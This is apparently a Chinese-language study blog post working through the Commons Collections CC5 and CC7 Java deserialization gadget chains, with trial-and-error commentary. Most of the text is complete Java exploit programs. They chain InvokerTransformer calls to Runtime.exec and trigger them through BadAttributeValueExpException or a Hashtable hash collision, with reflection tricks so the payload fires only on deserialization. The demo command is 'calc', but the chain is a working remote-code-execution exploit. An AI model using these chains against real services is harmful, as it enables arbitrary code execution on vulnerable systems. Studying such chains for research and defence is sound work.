cc5+cc7链学习

cc5分析

老规矩:
先看yso项目
This only works in JDK 8u76 and WITHOUT a security manager.(JDK必须是8u76以下)
调用链如图:

其实就是拼凑cc1的后段

我们到**tiedMapEntry.toString();**来看看能否通过后半部分手动触发toString()进入;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package cc5;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

// TiedMapEntry 的 EXP 编写
public class exp {
public static void main(String[] args) throws Exception {
//正常new 一个恶意transformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "value");
tiedMapEntry.toString();
}
}

调用堆栈:

证明上述链子可行!
然后我们开始cc5,BadAttributeValueExpException 类中的readObject方法中有toString方法
该类是可以直接反序列化,但是无法直接对val变量进行赋值修改操作
那直接上反射!
最终EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package cc5;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

// TiedMapEntry 的 EXP 编写
public class exp {
public static void main(String[] args) throws Exception {
//正常new 一个恶意transformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "value");
// tiedMapEntry.toString();
//改用BadAttributeValueExpException中的readObject中的toString()来触发
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
//反射修改值即可
Class<?> clazz = Class.forName("javax.management.BadAttributeValueExpException");
Field field = clazz.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);
//先序列化
// serialize(badAttributeValueExpException);
//反序列化触发readObject方法
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

好啦,倒数第二条cc链咯.快结束咧

不要休息,接下来立马赶到战场的是cc7

版本限制好像就cc<=3.2即可
yso给的调用链:


比较难get到的点就是前面的readObject入口类,这也算是前辈寻找漏洞的智慧体现吧,不论是通过何种方法找到的,总归让后人看起来是很神奇的,orz
但其实我们只要会codeql之后是很容易找出另外的链子的,当然存在的包依赖越多,可扩展性的链子就越大!
后续等我精通codeql之后再将思路分享一下给大家~
java.util.Hashtable.readObject->java.util.Hashtable.reconstitutionPut-> org.apache.commons.collections.map.AbstractMapDecorator.equals-> java.util.AbstractMap.equals->org.apache.commons.collections.map.LazyMap.get …然后就接上了

浅浅分析下


But这个AbstractMap是抽象类,无法直接序列化,所以我们不能以它为起点,得再找一个调用equals方法并且该方法最好是能在readObject中被触发的类(感觉很合适用codeql去查找啊).
java.util.Hashtable中的equals方法刚好可以符合上述条件,所以此类应该就是cc7的起点了~

这里要想进入到e.key.equals(key),先必须要使得e.hash==hash,不然就会提前跳出if不会走到后续的equals方法调用.
然后看到这个key还是readObject来的,那么肯定就可控了

编写EXP

我们开始写EXP试试看:

1
2
3
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);    
Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap, "Drunkbaby");

可惜并不能成功,发现在此处就被干掉了

难点1: 解决hashCode的问题

这里需要满足以下条件:
tab[index] !=null,然后存在两个key的hash相等这要求map里的数量肯定得大于等于2…
再来试试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package cc7;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import ser.util;

import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class demo1 {
public static void main(String[] args) throws Exception {
//正常new 一个恶意transformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//new 两个map出来依次添加即可
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
decorateMap.put("aa", 1);
//反射调用get方法证明后半段lazyMap.get是可行的
// Class<LazyMap> lazyMapClass = LazyMap.class;
// Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
// lazyGetMethod.setAccessible(true);
// lazyGetMethod.invoke(decorateMap, chainedTransformer);

//我们通过组合其它类来达到调用lazyMap.get方法的效果
HashMap<Object, Object> hashMap2 = new HashMap<>();
Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("bb", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap, 1);
hashtable.put(decorateMap2, 1);

util.serialize(hashtable);
util.unserialize();
}
}

还是不成功,原因在于这两hashCode不等,所以直接短路退出了,不会到equals那个方法去

这里有一个trick:hashCode的碰撞

我们需要让两个键值对的key不能相等,但是他们的hashCode必须相等.

gpt给的解释:

貌似是这个计算公式有问题…,所以很容易的造成碰撞.
所以我们利用这两个做文章,就可成功满足hashCode相等这个条件了.
是弹计算器了,but不是我们想要的计算器.

难点2: 保证稳定的触发

究其原因还是在于Map的put操作时会直接触发equals方法调用栈如图:

想想有啥好法子,我们可以先传个空transformers进去,put操作完我们再还魂,这样序列化数据还是正常的.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package cc7;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import ser.util;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class exp {
public static void main(String[] args) throws Exception {
//正常new 一个恶意transformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});//先置为空,在put后再把它写回去,防止put操作的时候就触发了
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
decorateMap.put("yy", 1);
//反射调用get方法证明后半段lazyMap.get是可行的
// Class<LazyMap> lazyMapClass = LazyMap.class;
// Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
// lazyGetMethod.setAccessible(true);
// lazyGetMethod.invoke(decorateMap, chainedTransformer);

//我们通过组合其它类来达到调用lazyMap.get方法的效果
HashMap<Object, Object> hashMap2 = new HashMap<>();
Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();

hashtable.put(decorateMap, 1);
hashtable.put(decorateMap2, 1);
// 以下是只在反序列化时触发的操作
Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class;
Field field = chainedTransformerClass.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
// Needed to ensure hash collision after previous manipulations
// util.serialize(hashtable);
util.unserialize();
}
}

But: 还是失败了.
原因还是这个put操作中的equals方法会更改键值对我们打个断点去看看到底干了啥…


发现最终的"zZ" map的key被改变了.
多了一组yy键值对,我们将其移除即可!
最终完美EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package cc7;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import ser.util;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class exp {
public static void main(String[] args) throws Exception {
//正常new 一个恶意transformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});//先置为空,在put后再把它写回去,防止put操作的时候就触发了
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
decorateMap.put("yy", 1);
//反射调用get方法证明后半段lazyMap.get是可行的
// Class<LazyMap> lazyMapClass = LazyMap.class;
// Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
// lazyGetMethod.setAccessible(true);
// lazyGetMethod.invoke(decorateMap, chainedTransformer);

//我们通过组合其它类来达到调用lazyMap.get方法的效果
HashMap<Object, Object> hashMap2 = new HashMap<>();
Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();

hashtable.put(decorateMap, 1);
hashtable.put(decorateMap2, 1);
// Needed to ensure hash collision after previous manipulations
decorateMap2.remove("yy");
// 以下是只在反序列化时触发的操作
Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class;
Field field = chainedTransformerClass.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
// decorateMap2.remove("yy");
util.serialize(hashtable);
util.unserialize();
}
}

成功!

最终调用栈:

cc链完结撒花咧